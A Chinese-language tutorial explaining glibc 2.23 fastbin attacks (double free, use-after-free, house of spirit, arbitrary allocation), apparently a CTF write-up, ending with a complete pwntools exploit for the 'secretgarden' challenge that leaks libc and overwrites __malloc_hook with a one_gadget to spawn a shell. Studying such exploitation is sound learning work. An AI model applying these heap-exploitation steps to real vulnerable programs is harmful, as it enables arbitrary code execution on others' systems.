要了解fastbin attack,首先得了解fastbin机制。由于libc2.26后加入了tcache机制,我们这里就分析glibc 2.23. 下面代码选自glibc2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 static void _int_free (mstate av, mchunkptr p, int have_lock){ size = chunksize (p); check_inuse_chunk(av, p); if ((unsigned long )(size) <= (unsigned long )(get_max_fast ()) #if TRIM_FASTBINS && (chunk_at_offset(p, size) != av->top) #endif ) { if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0 ) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0 )) {.......} free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); set_fastchunks(av); unsigned int idx = fastbin_index(size); fb = &fastbin (av, idx); mchunkptr old = *fb, old2; unsigned int old_idx = ~0u ; do { if (__builtin_expect (old == p, 0 )) { errstr = "double free or corruption (fasttop)" ; goto errout; } if (have_lock && old != NULL ) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0 )) { errstr = "invalid fastbin entry (free)" ; goto errout; } } }
可以看到fastbin只是检查了fastbin第一个chunk是否与新加入的chunk相同。所以我们可以使用free(0) free(1) free(0)的方式来达到double free。之后还检查大小满足要求,通过size算出fastbin_index然后再比对。如果对应的fastbinY大小为0x70,64位的话size可以在0~0xF之间浮动,也就是说size为0x70-0x7f都会被认为是合法的。32位同理,在0-0x7之间浮动。
利用前提: 1、能创建fastbin类型的chunk 2、存在堆溢出、use-after-free等能控制chunk内容的漏洞 如果细分的话,可以做以下的分类: 3、fastbin double free 即利用double free漏洞构造chunk如下图所示 我们首先申请回chunk1然后修改其fd值指向一个fake_chunk,这里的chunk要保证size域合法,我们再次申请3次同样的chunk,就会依次拿到chunk2,chunk1,fake_chunk。我们只要在关键位置伪造fake_chunk就可以了。例如在malloc_hook左右伪造fake_chunk,然后修改malloc_hook的值为one_gadget就可以在调用malloc时get_shell。
UAF 同fastbin double free利用手法类似,只不过只需要free依次,然后修改FD指针指向fake_chunk。
house of spirit 该技术的核心在于目标位置处伪造fastbin chunk,并将其释放,再申请回来,从而达到分配指定地址的chunk的目的。 ### 可以free你指定位置的fake_chunk ### 要想构造fastbin fake chunk,并且将其释放时,可以将其放入到对应的fastbin链表当中,需要绕过一些必要的检测,即 ##### fake chunk的ISMMAP位不能为1,因为free时,如果是mmap的chunk,就会单独处理。 ##### fake chunk地址需要对齐,32位8字节对齐,64位16字节对齐 ##### fake chunk的size大小需要满足fastbin的需求 ##### fake chunk的next chunk的大小合理
alloc to stack 该技术的核心点在于劫持fastbin链表中的chunk的fd指针,把fd指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。
arbitrary alloc arbitrary alloc 其实与alloc to stack是完全相同的,唯一的区别就是分配的目标不是在栈中。我们可以把chunk分配到任意可写的内存中,比如bss、heap、data、stack等等。
小结: 以上是fastbin attack的集中方法,总结起来就是3步: ①伪造合理的chunk ②使得fd指向fake_chunk,或者free fake_chunk。使得fake_chunk加入到fastbin中 ③分配得到fake_chunk,进行后续利用
例题 hitcontraining_secretgarden,libc为2.23 首先检查一下保护 main函数,有增删查,没有改 漏洞点,del函数free的时候指针没有清零。并且free前没有检查flowerlist[i][0]的值是否为1 其他都是常规操作
程序留有后门,我们也可以劫持函数的got来实现调用后门。但是我们这里使用的是劫持__malloc_hook,由于one_gadget不能用,我们通过__libc_realloc来改变栈环境,使得one_gadget条件成立。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *context.log_level = 'debug' p = process('./secretgarden' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) def add (length,name,color ): p.sendlineafter('Your choice : ' ,'1' ) p.sendlineafter('name :' ,str (length)) p.sendafter('flower :' ,name) p.sendlineafter('flower :' ,color) def show (): p.sendlineafter('Your choice : ' ,'2' ) def delete (idx ): p.sendlineafter('Your choice : ' ,'3' ) p.sendlineafter('garden:' ,str (idx)) add(0x80 ,'A' *0x80 ,'B' *23 ) add(0x80 ,'B' *0x80 ,'B' *23 ) delete(0 ) add(0x50 ,'E' *8 ,'B' *23 ) show() p.recvuntil('EEEEEEEE' ) libc_base = u64(p.recvuntil('\n' ,drop=True ).ljust(8 ,'\x00' )) - 0x3c4b78 print 'libc_base: ' +hex (libc_base)one = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] one_gadget = libc_base + one[1 ] add(0x68 ,'A' *0x68 ,'B' *23 ) add(0x68 ,'B' *0x68 ,'B' *23 ) delete(3 ) delete(4 ) delete(3 ) add(0x68 ,p64(libc_base+libc.symbols['__malloc_hook' ]-0x23 ),'B' *23 ) add(0x68 ,'A' *0x68 ,'B' *23 ) add(0x68 ,'A' *0x68 ,'B' *23 ) add(0x68 ,'\x00' *0xb +p64(one_gadget)+p64(libc_base+libc.symbols['__libc_realloc' ]+8 ),'B' *23 ) p.sendlineafter('Your choice : ' ,'1' ) p.interactive()